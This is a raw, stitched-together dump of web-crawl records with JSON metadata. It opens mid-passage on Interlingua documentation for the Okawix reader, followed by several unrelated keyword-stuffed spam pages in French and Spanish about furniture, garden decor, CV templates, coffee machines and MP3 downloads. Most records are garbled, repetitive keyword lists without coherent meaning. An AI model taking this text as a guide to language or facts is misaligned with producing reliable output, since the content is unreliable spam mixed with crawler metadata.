un archivo in iste lista presenta le pagina principal de iste archivo.\n- le lista install del archivos attendente installation pro le session actual de Okawix (si existe). Un clic super un archivo in iste lista presenta le pagina de installation de iste archivo in le quadro principal, al dextra del interfacie.\n- possibilemente, un button http. Un clic super iste button presenta, al dextra del interfacie, le pagina de selection de linguas. (Si le linguas habeva ja essite seligite pro le session actual de Okawix, le pagina de selection del archivos disponibile pro le linguas previemente seligite se presenta directemente.)\nJusto al fundo de iste quadro, tu vide duo buttones:\n- Adder imagines: si un archivo del listas local o install es seligite, un clic super Adder imagines presenta le pagina de installation in le quadro principal, al dextra del interfacie, permittente initiar le installation del imagines del articulos pro iste archivo\n- Remover: si un archivo del listas local o install es seligite, un clic super Remover remove le archivo ex iste lista. Si le archivo esseva in le lista local (e dunque esseva installate localmente), le files correspondente es delite.\ndocumentation translation made by","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/okawix.com\/?page=documentation&tr_lang=ia","date":"2017-03-26T22:51:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218189313.82\/warc\/CC-MAIN-20170322212949-00278-ip-10-233-31-227.ec2.internal.warc.gz","language":"ina","language_score":0.9999338388,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.9999338388442993}","num_words":2542,"character_repetition_ratio":0.084,"word_repetition_ratio":0.102,"special_characters_ratio":0.192,"stopwords_ratio":0.016,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":791.2,"cluster_detection":-1} +{"text":"Descargar Musica de Il Divo Hasta Mi Final\nResultados :\nEscuchar musica de il divo hasta mi final\nIl DivoHasta Mi Final(в жанре \"поп опера\")03:37\nНеизвестенIl Divo - Hasta Mi Final(+)(-2)03:37\nIl DivoHasta Mi Final03:36\nIl DivoHasta Mi Final (Español)03:37\nIl DivoHasta Mi Final03:37\nIl DivoHasta Mi Final- Altermusic.us Портал альтернативной музыки03:37\nIl DivoHasta Mi Final. Tu Lugar Es Mi Lado...03:37\n5\/5 Il DivoHasta Mi Final03:37\nIl DivoHasta Mi Final03:35\n06. Il DivoHasta Mi Final03:37","id":"","dump":"CC-MAIN-2017-17","url":"http:\/\/taringamp3.com\/mp3\/il-divo-hasta-mi-final","date":"2017-04-24T05:29:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917119080.24\/warc\/CC-MAIN-20170423031159-00128-ip-10-145-167-34.ec2.internal.warc.gz","language":"ina","language_score":0.412235707,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"ina_Latn_score\": 0.41223570704460144, \"ile_Latn_score\": 0.2021344155073166, \"jam_Latn_score\": 0.15318801999092102, \"ita_Latn_score\": 0.049582138657569885, \"srd_Latn_score\": 0.03877567872405052, \"spa_Latn_score\": 0.02920093573629856, \"nap_Latn_score\": 0.020021501928567886, \"vec_Latn_score\": 0.017179634422063828, \"bos_Latn_score\": 0.015474792569875717}","num_words":145,"character_repetition_ratio":0.309,"word_repetition_ratio":0.074,"special_characters_ratio":0.306,"stopwords_ratio":0.014,"flagged_words_ratio":0.0,"lang_id_score":0.174,"perplexity_score":20888.2,"cluster_detection":-1} +{"text":"meubles bibliotheque design meuble bibliotheque scandinave 25 11054922 rouge phenomenal tv bookcase filippo bibliotheque design en verre meuble tv bibliotheque design pas cher.\nmeubles bibliotheque design fabriquer un meuble bibliothaque design meuble bibliotheque design contemporain.\nmeubles bibliotheque design agrandir charlotte perriand racacditace meuble bibliotheque design pas cher.\nmeubles bibliotheque design meuble bibliothaque dacclinac en 24 exemplaires design meuble bibliothaque blanc cloison meuble bibliotheque modulable design.\nmeubles bibliotheque design la folie bibliotheque laurette gris clair meuble enfant bibliothaque design meuble bibliotheque modulable design.\nmeubles bibliotheque design frais offerts fabrication europacenne meuble bibliotheque design italien.\nmeubles bibliotheque design une bibliothaque design pour un salon dacco meuble bibliotheque design sur mesure.\nmeubles bibliotheque design meuble bibliotheque design sur mesure.\nmeubles bibliotheque design la bibliothaque de design un meuble fonctionnel et esthactique meubles bibliotheque design.\nmeubles bibliotheque design meuble tv bibliothaque design meuble tv tendance meuble tv bibliotheque design meuble tv bibliothaque design meubles bibliotheque design.\nmeubles bibliotheque design bibliothaque murale design bibliothaque murale design a fixations invisibles ovoide meuble bibliotheque moderne pas cher.\nmeubles bibliotheque design meuble bibliotheque design meuble tv bibliotheque avec tv et on decoration d interieur moderne meuble tv bibliotheque design pas cher.\nmeubles bibliotheque design meubles rangement bibliotheque meuble bibliotheque design sur mesure.\nmeubles bibliotheque design bibliothaque design karat meuble bibliotheque design italien.\nmeubles bibliotheque design atagare bibliothaque laquac design olivier plusieurs couleurs au choix m 012 meuble bibliotheque moon design destructure.\nmeubles bibliotheque design meuble bibliotheque modulable design.\nmeubles bibliotheque design meuble tv design mural ingrazia atylia meuble bibliotheque design sur mesure.\nmeubles bibliotheque design bibliothaque dangle meuble bibliotheque bois design.\nmeubles bibliotheque design qu il sagisse dun simple rangement ou dun meuble cracatif la bibliothaque design sadapte a meuble bibliotheque design pas cher.\nmeubles bibliotheque design bibliothaque dacstructurace zen palissandre meubles bois exotique meuble bibliotheque bois design.\nmeubles bibliotheque design meuble bibliothaque design sur pieds fins blanc vison barcelos meuble bibliotheque moon design destructure.\nmeubles bibliotheque design meuble tv biblioth que fly artzeincom meuble bibliotheque moderne pas cher.\nmeubles bibliotheque design bibliothaque 10 cases blanche babylone meuble bibliotheque design meuble bibliotheque moderne pas cher.\nmeubles bibliotheque design bibliothaque design moon color meuble bibliotheque design sur mesure.\nmeubles bibliotheque design bibliothaque design london basse meuble tv bibliotheque design pas cher.\nmeubles bibliotheque design bibliotheque tendance tonin casa luxembourg meuble bibliotheque design sur mesure.","id":"","dump":"CC-MAIN-2018-26","url":"http:\/\/eliergonzalez.info\/meubles-bibliotheque-design\/","date":"2018-06-20T07:49:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-26\/segments\/1529267863489.85\/warc\/CC-MAIN-20180620065936-20180620085936-00040.warc.gz","language":"ina","language_score":0.310376972,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.31037697196006775, \"lat_Latn_score\": 0.29383936524391174, \"fra_Latn_score\": 0.14910902082920074, \"eng_Latn_score\": 0.060252368450164795, \"sco_Latn_score\": 0.0197495948523283, \"gmh_Latn_score\": 0.01563086360692978, \"eus_Latn_score\": 0.011217773891985416, \"oci_Latn_score\": 0.010910894721746445, \"asm_Latn_score\": 0.01052971463650465}","num_words":851,"character_repetition_ratio":0.386,"word_repetition_ratio":0.338,"special_characters_ratio":0.137,"stopwords_ratio":0.16,"flagged_words_ratio":0.0,"lang_id_score":0.31,"perplexity_score":17064.4,"cluster_detection":-1} +{"text":"deco jardin terrasse terrasse jardin decking bois sol plantes idee decoration jardin terrasse.\ndeco jardin terrasse deco jardin avec terrasse.\ndeco jardin terrasse decoration terrasse bois exterieur idee deco jardin terrasse.\ndeco jardin terrasse idace dacco jardin terrasse 3 idee deco jardin et terrasse.\ndeco jardin terrasse idee deco jardin terrasse.\ndeco jardin terrasse deco design jardin terrasse.\ndeco jardin terrasse idee deco jardin terrasse deco jardin et terrasse.\ndeco jardin terrasse inspiration dacco jardin terrasse idee deco jardin terrasse.\ndeco jardin terrasse les 25 meilleures idaces de la catacgorie terrasse sur pinterest cuisine darriare cour designs de patio extacrieur et arriare cours deco jardin terrasse exotique.\ndeco jardin terrasse decoration d interieur moderne deco jardin terrasse on decoration d interieur moderne et jardin en 105 idee decoration jardin terrasse.\ndeco jardin terrasse terrasse extacrieur amacnagement et dacco en 53 idaces deco design jardin terrasse.\ndeco jardin terrasse shamwerks terrasse project terrasse project bacs a bambous decoration petit jardin terrasse.\ndeco jardin terrasse elegant decoration terrasse de jardin with decoration terrasse de jardin idee deco jardin et terrasse.\ndeco jardin terrasse dacco jardin terrasse exotique decoration petit jardin terrasse.\ndeco jardin terrasse 21 idaces dacco pour une belle terrasse idee deco pour terrasse jardin.\ndeco jardin terrasse le blog deco inspiration et idaces dacco pour la maison idee deco jardin terrasse.\ndeco jardin terrasse idee decoration jardin terrasse.\ndeco jardin terrasse deco jardin terrasse pas cher.\ndeco jardin terrasse idee recup terrasse palette jardin deco jardin avec terrasse.\ndeco jardin terrasse dacco a petit jardin avec terrasse deco petit jardin terrasse.\ndeco jardin terrasse modale dacco jardin terrasse exotique idee deco pour terrasse jardin.\ndeco jardin terrasse deco petit jardin terrasse deco jardin terrasse bois.\ndeco jardin terrasse coin terrasse brocante idee decoration jardin terrasse.\ndeco jardin terrasse decoration petit jardin terrasse.","id":"","dump":"CC-MAIN-2018-34","url":"http:\/\/wealthof.me\/deco-jardin-terrasse\/","date":"2018-08-14T06:27:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-34\/segments\/1534221208676.20\/warc\/CC-MAIN-20180814062251-20180814082251-00045.warc.gz","language":"ina","language_score":0.5159588456,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"ina_Latn_score\": 0.515958845615387, \"fra_Latn_score\": 0.2434496134519577, \"mfe_Latn_score\": 0.03594581037759781, \"dag_Latn_score\": 0.03296253830194473, \"bew_Latn_score\": 0.023780860006809235, \"eus_Latn_score\": 0.018265986815094948, \"frp_Latn_score\": 0.014942111447453499, \"mad_Latn_score\": 0.012840479612350464, \"wol_Latn_score\": 0.010445211082696915}","num_words":520,"character_repetition_ratio":0.398,"word_repetition_ratio":0.155,"special_characters_ratio":0.16,"stopwords_ratio":0.213,"flagged_words_ratio":0.0,"lang_id_score":0.516,"perplexity_score":8748.5,"cluster_detection":-1} +{"text":"jardiniere de balcon kit pr est pr s pendant absences jardiniere pour balcon castorama.\njardiniere de balcon pour pour en jardiniere jardiniere pour balcon truffaut.\njardiniere de balcon jardiniere pour balcon ikea.\njardiniere de balcon design funky jardiniere de balcon corsica pas cher.\njardiniere de balcon terracotta jardiniere de balcon pas chere.\njardiniere de balcon jardiniere de balcon en plastique.\njardiniere de balcon pour flower bridge l cm jardiniere de balcon design.\njardiniere de balcon rouge mini garden jardiniere pour balcon gifi.\njardiniere de balcon separation support de jardiniere pour balcon pas cher.\njardiniere de balcon evolution rouge riviera jardiniere pour balcon ikea.\njardiniere de balcon support jardiniere de balcon pas chere.\njardiniere de balcon jardiniere de balcon gifi.\njardiniere de balcon pour jardiniere pour balcon castorama.\njardiniere de balcon mini garden s vert jardiniere de balcon design.\njardiniere de balcon 2 pour jardiniere de balcon ikea.\njardiniere de balcon pot pour jardiniere pour balcon gifi.\njardiniere de balcon jardiniere balcon ikea.\njardiniere de balcon jardiniere palette support jardiniere balcon pas cher.\njardiniere de balcon jardiniere de balcon castorama.\njardiniere de balcon a jardiniere balcon pas chere.\njardiniere de balcon a flower bridge pour balustra anthracite x x cm lot 2 jardiniere balcon moins cher.\njardiniere de balcon jardiniere de balcon elho corsica flower.\njardiniere de balcon a anthracite jardiniere de balcon en plastique.\njardiniere de balcon jardiniere de balcon design.\njardiniere de balcon riviera evolution rouge riviera jardiniere de balcon en plastique.\njardiniere de balcon jardiniere jardiniere balcon pas chere.\njardiniere de balcon a jardiniere de balcon gifi.\njardiniere de balcon pour flower bridge l cm jardiniere de balcon ikea.\njardiniere de balcon support de jardiniere pour balcon pas cher.\njardiniere de balcon jardiniere metal design jardiniere pour balcon gifi.\njardiniere de balcon pot pot jardiniere pour balcon gifi.","id":"","dump":"CC-MAIN-2018-39","url":"http:\/\/buyadderallonline.info\/jardiniere-de-balcon\/","date":"2018-09-24T10:19:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-39\/segments\/1537267160337.78\/warc\/CC-MAIN-20180924090455-20180924110855-00416.warc.gz","language":"ina","language_score":0.4696623087,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"ina_Latn_score\": 0.46966230869293213, \"fra_Latn_score\": 0.11321066319942474, \"ile_Latn_score\": 0.04136919230222702, \"lfn_Latn_score\": 0.04010874778032303, \"ldi_Latn_score\": 0.03550117835402489, \"avk_Latn_score\": 0.033314842730760574, \"eus_Latn_score\": 0.02884327434003353, \"max_Latn_score\": 0.02149975299835205, \"lln_Latn_score\": 0.017307549715042114, \"nov_Latn_score\": 0.014885795302689075, \"epo_Latn_score\": 0.010100002400577068}","num_words":591,"character_repetition_ratio":0.396,"word_repetition_ratio":0.387,"special_characters_ratio":0.163,"stopwords_ratio":0.054,"flagged_words_ratio":0.0,"lang_id_score":0.47,"perplexity_score":11738.0,"cluster_detection":-1} +{"text":"bibliotheque d angle bureau bibliothaque d angle bibliotheque angle billy ikea.\nbibliotheque d angle actagare dangle sur une colonne avec planches qui forment un chemin corner shelve bibliotheque danglet horaires.\nbibliotheque d angle bibliothaque dangle enfant nuki rouge bibliotheque anglet adresse.\nbibliotheque d angle bibliotheque dangle bois naturel blanchi hellin depuis 1862 bibliotheque anglet horaires.\nbibliotheque d angle votre biblioth que sur mesure placard 39 art bibliotheque d angle blanche bibliotheque dangle bois massif.\nbibliotheque d angle bibliothaque modulable dangle beaulieu bibliotheque angle.\nbibliotheque d angle bibliothaque dangle tradition 240 cm 20050090 bibliotheque anglet catalogue.\nbibliotheque d angle bibliotheque dangle billy.\nbibliotheque d angle jin hua bambou actagare dangle actagare dangle de bains actagare armoire coin bibliotheque municipale anglet horaires.\nbibliotheque d angle bibliotheque meuble tv dangle bibliotheque dangle alinea.\nbibliotheque d angle bibliothaque dangle saga bibliotheque anglet ouverture.\nbibliotheque d angle bibliothaque dangle bureau bibliotheque angle billy ikea.\nbibliotheque d angle daleo casa ikea style moderne minimaliste maison cracative actagare dangle bibliothaque actagare bibliothaque daccoration bibliotheque anglet catalogue.\nbibliotheque d angle meuble tv moderne wengac bibliotheque angle billy.\nbibliotheque d angle bibliothaque dangle shadow chane ethnicraft bibliotheque angle alinea.\nbibliotheque d angle bibliothaque dangle projet bibliotheque angle alinea.\nbibliotheque d angle modules de bibliothaque dangle bibliotheque anglet recherche.\nbibliotheque d angle grande bibliothaque modulable dangle amacnagement tv beaulieu bibliotheque dangle bois massif.\nbibliotheque d angle bibliothaque meuble 11 options pour ranger ses livres bibliotheque anglet.\nbibliotheque d angle bibliothaque dangle par jean jacques jouan bibliotheque angleterre.\nbibliotheque d angle bibliothaque dangle noyer de france bibliotheque dangle alinea.\nbibliotheque d angle bibliotheque anglet catalogue.\nbibliotheque d angle bibilothaque et bureau dangle sur mesure bibliotheque angle design.\nbibliotheque d angle bibliothaque dangle trio bibliotheque danglet horaires.\nbibliotheque d angle bibliotheque angle bois massif bibliotheque angle.\nbibliotheque d angle bibliothaque dangle hatre massif huilac bibliotheque anglet 64600.\nbibliotheque d angle bibliothaque dangle style directoire bibliotheque angle ikea.\nbibliotheque d angle bibliothaque dangle victoria pin massif meuble shabby bibliotheque dangle bois massif.\nbibliotheque d angle bibliotheque anglet recherche.\nbibliotheque d angle billy bibliothaque etagere bibliotheque dangle ikea.\nbibliotheque d angle galipette bibliothaque dangle 4 actagares daccor chane l39cm olympe bibliotheque angle ikea.\nbibliotheque d angle bibliotheque d angle meuble tv artzein com 18 bibliotheque anglet horaires.\nbibliotheque d angle meuble bibliotheque d angle bibliotheque angle moderne bibliotheque angle meuble bibliotheque dangle ikea billy bibliotheque dangle.\nbibliotheque d angle bibliothaque dangle bibliotheque angle bois.","id":"","dump":"CC-MAIN-2018-47","url":"http:\/\/sundaythemes.co\/bibliotheque-d-angle\/","date":"2018-11-19T11:47:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-47\/segments\/1542039745761.75\/warc\/CC-MAIN-20181119105556-20181119131556-00347.warc.gz","language":"ina","language_score":0.7734699845,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"ina_Latn_score\": 0.7734699845314026, \"fra_Latn_score\": 0.10407089442014694, \"lat_Latn_score\": 0.04733132943511009, \"dhv_Latn_score\": 0.011943433433771133}","num_words":967,"character_repetition_ratio":0.405,"word_repetition_ratio":0.284,"special_characters_ratio":0.147,"stopwords_ratio":0.132,"flagged_words_ratio":0.0,"lang_id_score":0.773,"perplexity_score":13228.5,"cluster_detection":-1} +{"text":"Como hacer un curriculum vitae plantilla how to make a presentable curriculum vitae fius. Currculum vitae modelo hexa como hacer un curriculum vitae plantilla. Como hacer un curriculum vitae plantilla a4 carta curriculum vitae plantillas curriculum moderno. Como hacer un curriculum vitae plantilla gratis example. Como hacer un curriculum vitae plantilla curriculum vitae para diseadores awesome cv original with.\nComo Hacer Un Curriculum Vitae Plantilla How to Make A Presentable Curriculum Vitae Fius fuente: fius.tk\nCurrculum Vitae Modelo Hexa Como Hacer Un Curriculum Vitae Plantilla fuente: shopcv.com\nComo Hacer Un Curriculum Vitae Plantilla A4 Carta Curriculum Vitae Plantillas Curriculum Moderno fuente: etsy.com\nComo Hacer Un Curriculum Vitae Plantilla Gratis Example fuente: cdlitabuna.com\nComo Hacer Un Curriculum Vitae Plantilla Curriculum Vitae Para Diseadores Awesome Cv original with fuente: miidesigner.com\nComo Hacer Un Curriculum Vitae Plantilla Hacer Un Curriculum Vitae Profesional – Plantilla Curriculum fuente: aurorafilm.org\nComo Hacer Un Curriculum Vitae Plantilla Plantillas Gratis De Curriculum Vitae 2018 – Words for Resumes Fresh fuente: aurorafilm.org\nComo hacer un curriculum vitae plantilla hacer un curriculum vitae profesional – plantilla curriculum. Como hacer un curriculum vitae plantilla plantillas gratis de curriculum vitae 2018 – words for resumes fresh. Como hacer un curriculum vitae plantilla modelos de resumen curriculum vitae. Gratis example como hacer un curriculum vitae plantilla.","id":"","dump":"CC-MAIN-2019-09","url":"http:\/\/curriculumvt.me\/como-hacer-un-curriculum-vitae-plantilla\/","date":"2019-02-24T03:26:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-09\/segments\/1550249578748.86\/warc\/CC-MAIN-20190224023850-20190224045850-00116.warc.gz","language":"ina","language_score":0.3229804933,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.32298049330711365, \"spa_Latn_score\": 0.16424418985843658, \"lat_Latn_score\": 0.1519048511981964, \"ast_Latn_score\": 0.0861087366938591, \"sco_Latn_score\": 0.07811455428600311, \"glg_Latn_score\": 0.03361574560403824, \"arg_Latn_score\": 0.024843966588377953, \"cbk_Latn_score\": 0.01894558034837246, \"eus_Latn_score\": 0.01754535734653473}","num_words":380,"character_repetition_ratio":0.246,"word_repetition_ratio":0.539,"special_characters_ratio":0.163,"stopwords_ratio":0.082,"flagged_words_ratio":0.0,"lang_id_score":0.387,"perplexity_score":7934.2,"cluster_detection":-1} +{"text":"Curriculum vitae de un universitario mieke bal curriculum vitae list of publications kipdf. Curriculum vitae de un universitario templates curriculum vitae beautiful teaching curriculum vitae. Curriculum vitae de un universitario resume curriculum vitae free resume curriculum vitae fresh resume 52. Curriculum vitae de un universitario cv 2013 cv 2013 pdf of home design. Curriculum vitae de un universitario 47 lovely curriculum vitae vs resume.\nCurriculum Vitae De Un Universitario Mieke Bal Curriculum Vitae List Of Publications Kipdf fuente: kipdf.com\nCurriculum Vitae De Un Universitario Templates Curriculum Vitae Beautiful Teaching Curriculum Vitae fuente: primalxpills.com\nCurriculum Vitae De Un Universitario Resume Curriculum Vitae Free Resume Curriculum Vitae Fresh Resume 52 fuente: lasixinforx.com\nCurriculum Vitae De Un Universitario Cv 2013 Cv 2013 Pdf Of Home Design fuente: powerakademy.com\nCurriculum Vitae De Un Universitario 47 Lovely Curriculum Vitae Vs Resume fuente: minister-of-style.com\nCurriculum Vitae De Un Universitario O Elaborar Un Curriculum Vitae De Un Estudiante – Aurorafilm fuente: aurorafilm.org\nO Hacer Un Cover Letter Ejemplos 13 Personal Re Mendation Letter Curriculum Vitae De Un Universitario fuente: zamislisrbiju.org\nCurriculum vitae de un universitario o elaborar un curriculum vitae de un estudiante – aurorafilm. O hacer un cover letter ejemplos 13 personal re mendation letter curriculum vitae de un universitario. Curriculum vitae de un universitario curriculum para editar curriculum bsico curriculum para llenar cv. Curriculum vitae sabino de placido pdf curriculum vitae de un universitario.","id":"","dump":"CC-MAIN-2019-09","url":"http:\/\/curriculumvt.me\/curriculum-vitae-de-un-universitario\/","date":"2019-02-17T09:54:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-09\/segments\/1550247481832.13\/warc\/CC-MAIN-20190217091542-20190217113542-00156.warc.gz","language":"ina","language_score":0.3198004663,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.319800466299057, \"lat_Latn_score\": 0.3114085793495178, \"sco_Latn_score\": 0.09461066871881485, \"spa_Latn_score\": 0.039078690111637115, \"srd_Latn_score\": 0.030789779499173164, \"glg_Latn_score\": 0.02577143721282482, \"ast_Latn_score\": 0.021831844002008438, \"scn_Latn_score\": 0.019334660843014717, \"arg_Latn_score\": 0.012123910710215569, \"cbk_Latn_score\": 0.011521020904183388, \"ile_Latn_score\": 0.010364247485995293}","num_words":438,"character_repetition_ratio":0.267,"word_repetition_ratio":0.476,"special_characters_ratio":0.172,"stopwords_ratio":0.08,"flagged_words_ratio":0.0,"lang_id_score":0.489,"perplexity_score":5420.0,"cluster_detection":-1} +{"text":"le curriculum vitae curriculum le curriculum vitae definition.\nle curriculum vitae exemple la cv en francais unique pour,le curriculum vitae cv exemple template the best ideas la francese,le curriculum vitae cv exemple in french cover letter samples francese,curriculum vitae professional resume le cv exemple maroc francese definition,la curriculum vitae exemple le francese definition new,le curriculum vitae exemple buy book online at low la definition,le curriculum vitae cv la exemple en france,le curriculum vitae cv exemple en francais type,le curriculum vitae francese en francais definition food and beverage resume template awesome pour,le curriculum vitae exemple de dieu definition search panoramas art archive.","id":"","dump":"CC-MAIN-2019-09","url":"http:\/\/praktikus.info\/le-curriculum-vitae\/le-curriculum-vitae-curriculum-le-curriculum-vitae-definition\/","date":"2019-02-22T16:24:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-09\/segments\/1550247518497.90\/warc\/CC-MAIN-20190222155556-20190222181556-00636.warc.gz","language":"ina","language_score":0.3865611553,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.38656115531921387, \"sco_Latn_score\": 0.1544804871082306, \"lat_Latn_score\": 0.1080348938703537, \"nrm_Latn_score\": 0.08305441588163376, \"fra_Latn_score\": 0.04663294181227684, \"eng_Latn_score\": 0.04155033081769943, \"oci_Latn_score\": 0.017830105498433113, \"eus_Latn_score\": 0.017614472657442093, \"srd_Latn_score\": 0.011519004590809345}","num_words":178,"character_repetition_ratio":0.251,"word_repetition_ratio":0.0,"special_characters_ratio":0.154,"stopwords_ratio":0.191,"flagged_words_ratio":0.0,"lang_id_score":0.387,"perplexity_score":2887.8,"cluster_detection":-1} +{"text":"Accessoire Salle De Bain Design Leroy Merlin , Leroy merlin accessoires salle de bain, Accessoire salle de bain design leroy merlin beautiful, Accessoire salle de bain design leroy merlin beautiful, Leroy merlin accessoires salle de bain, Leroy merlin salle de bain accessoires accessoires salle, Accessoires salle de bain leroy merlin inspiration de, Leroy merlin accessoires salle de bain, Accessoires salle de bain leroy merlin inspiration.","id":"","dump":"CC-MAIN-2019-13","url":"http:\/\/apartamenteinbucuresti.info\/accessoire-salle-de-bain-design-leroy-merlin.html","date":"2019-03-21T04:37:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-13\/segments\/1552912202484.31\/warc\/CC-MAIN-20190321030925-20190321052925-00275.warc.gz","language":"ina","language_score":0.3341633379,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.3341633379459381, \"fra_Latn_score\": 0.07144530862569809, \"fin_Latn_score\": 0.05330612510442734, \"pfl_Latn_score\": 0.052105143666267395, \"eus_Latn_score\": 0.05101911351084709, \"sco_Latn_score\": 0.05089331045746803, \"gul_Latn_score\": 0.031302571296691895, \"rmq_Latn_score\": 0.030884386971592903, \"knc_Latn_score\": 0.021270355209708214, \"ben_Latn_score\": 0.02016056701540947, \"dag_Latn_score\": 0.02011171355843544, \"eng_Latn_score\": 0.017208978533744812, \"wol_Latn_score\": 0.01393111888319254, \"cof_Latn_score\": 0.012280459515750408}","num_words":120,"character_repetition_ratio":0.235,"word_repetition_ratio":0.324,"special_characters_ratio":0.165,"stopwords_ratio":0.158,"flagged_words_ratio":0.0,"lang_id_score":0.235,"perplexity_score":8633.2,"cluster_detection":-1} +{"text":"photo bibliotheque de salon mode photo bibliotheque de salon.\nphoto bibliotheque de salon photos sign cubit ques c t,salon photo bibliotheque de photos,salon table bronze photo bibliotheque de photos, photo bibliotheque de salon pas photos,photos bibliotheque salon photo de ,photo bibliotheque de salon quality suites by photos,s photo bibliotheque de salon photos,photos bibliotheque salon dune son photo de,photos bibliotheque salon photo de,photos bibliotheque salon photo de mires .","id":"","dump":"CC-MAIN-2019-35","url":"http:\/\/good-doggy.org\/photo-bibliotheque-de-salon\/photo-bibliotheque-de-salon-mode-photo-bibliotheque-de-salon\/","date":"2019-08-22T00:48:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-35\/segments\/1566027316555.4\/warc\/CC-MAIN-20190822000659-20190822022659-00207.warc.gz","language":"ina","language_score":0.9177785516,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.9177785515785217, \"pis_Latn_score\": 0.012453071773052216, \"fra_Latn_score\": 0.011607002466917038}","num_words":117,"character_repetition_ratio":0.285,"word_repetition_ratio":0.019,"special_characters_ratio":0.16,"stopwords_ratio":0.12,"flagged_words_ratio":0.0,"lang_id_score":0.918,"perplexity_score":9431.5,"cluster_detection":-1} +{"text":"nespresso creatista plus espresso maker breville nespresso creatista plus review nespresso creatista uno review.\nnespresso creatista by sage review like having a barista at home nespresso creatista plus metal stainless steel review nespresso creatista uno review.\nnespresso creatista nespresso creatista plus by breville sage nespresso creatista plus champagne.\nnespresso creatista plus coffee machine nespresso creatista plus manual nespresso creatista plus coffee machine stainless steel.\nnespresso creatista machine in black sesame auto clean function sage nespresso creatista plus review sage nespresso creatista uno review.\nnespresso creatista review nespresso creatista plus problems nespresso creatista plus coffee machine warranty.\nnespresso creatista coffee machine by sage forever inspired sage nespresso creatista champagne nespresso creatista plus review.\nnespresso creatista what are pro and plus what pro and plus look like sage nespresso creatista uno review nespresso creatista champagne.\nnespresso creatista sage nespresso creatista plus coffee machine silver by sage nespresso creatista uno manual.\nnespresso creatista plus nespresso creatista plus coffee machine nespresso creatista plus coffee machine uk.\nnespresso creatista model nespresso creatista uno cleaning nespresso creatista champagne.\nnespresso creatista the plus machine makes it easy to be your own barista and make a range of perfect coffee at home nespresso creatista plus price nespresso creatista review uk.\nnespresso creatista simple to use intuitive display and controls nespresso creatista plus price nespresso creatista uno review.\nnespresso creatista sage pod coffee machine black coffee machine sage nespresso breville creatista royal champagne nespresso creatista plus black.\nnespresso creatista what is the difference between the and plus breville nespresso creatista uno coffee machine review nespresso creatista uno manual.\nnespresso creatista plus by silver coffee machines and coffee product reviews nespresso creatista uno vs plus nespresso creatista plus black.\nnespresso creatista espresso machine black sesame front zoom 1 of 6 sage nespresso creatista review nespresso machine creatista review.\nnespresso creatista model nespresso creatista plus espresso machine reviews nespresso creatista royal champagne.\nnespresso creatista plus review pros cons nespresso creatista plus coffee machine by sage review nespresso creatista review.\nnespresso creatista plus steam pipe sage nespresso creatista champagne nespresso creatista uno review.\nnespresso creatista amazon espresso coffee maker shipped regularly nespresso creatista plus coffee machine manual nespresso creatista uno review.\nnespresso creatista plus nespresso creatista uno descaling nespresso creatista royal champagne.\nnespresso creatista the new has just been released in and its a game changer for nespresso creatista uno by sage nespresso creatista champagne.\nnespresso creatista coffee machines plus coffee machine breville nespresso creatista plus review nespresso creatista plus manual.\nnespresso creatista customer login nespresso creatista plus by breville sage nespresso creatista plus review.\nnespresso creatista photo photo photo nespresso creatista plus coffee machine reviews nespresso creatista uno espresso maker review.\nnespresso creatista coffee machine black nespresso machine creatista review sage nespresso creatista champagne.\nnespresso creatista plus review nespresso creatista uno cleaning breville nespresso creatista champagne.\nnespresso creatista 1 nespresso creatista plus by breville nespresso creatista uno espresso machine.","id":"","dump":"CC-MAIN-2020-05","url":"http:\/\/weldingspecialist.co\/nespresso-creatista\/","date":"2020-01-18T02:46:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579250591763.20\/warc\/CC-MAIN-20200118023429-20200118051429-00005.warc.gz","language":"ina","language_score":0.5953181386,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.5953181385993958, \"eng_Latn_score\": 0.10449256747961044, \"mwl_Latn_score\": 0.10029518604278564, \"ita_Latn_score\": 0.045778192579746246, \"por_Latn_score\": 0.03842844441533089, \"ast_Latn_score\": 0.011966612190008163, \"eus_Latn_score\": 0.010258550755679607}","num_words":915,"character_repetition_ratio":0.411,"word_repetition_ratio":0.159,"special_characters_ratio":0.141,"stopwords_ratio":0.096,"flagged_words_ratio":0.0,"lang_id_score":0.595,"perplexity_score":10228.2,"cluster_detection":-1} +{"text":"Sitemap Gallery Qque significa bmw bmw significa codycrossque significa bmw bmw significa fabrica de motores yque significa bmw bmw significa fabrica motoresque significa bmw bmw significado codycrossque significa bmw bmw significa fabrica de automotoresque significa bmw el bmw significa fabrica de motoresque significa bmw que significa bmw gsque significa bmw bmw significa fabrica de motorque significa bmw bmw significa fabrica de motoresque significa bmw bmw significa marca de motores codycrossque significa bmw bmw significa fabricaque significa bmw bmw significado fabrica 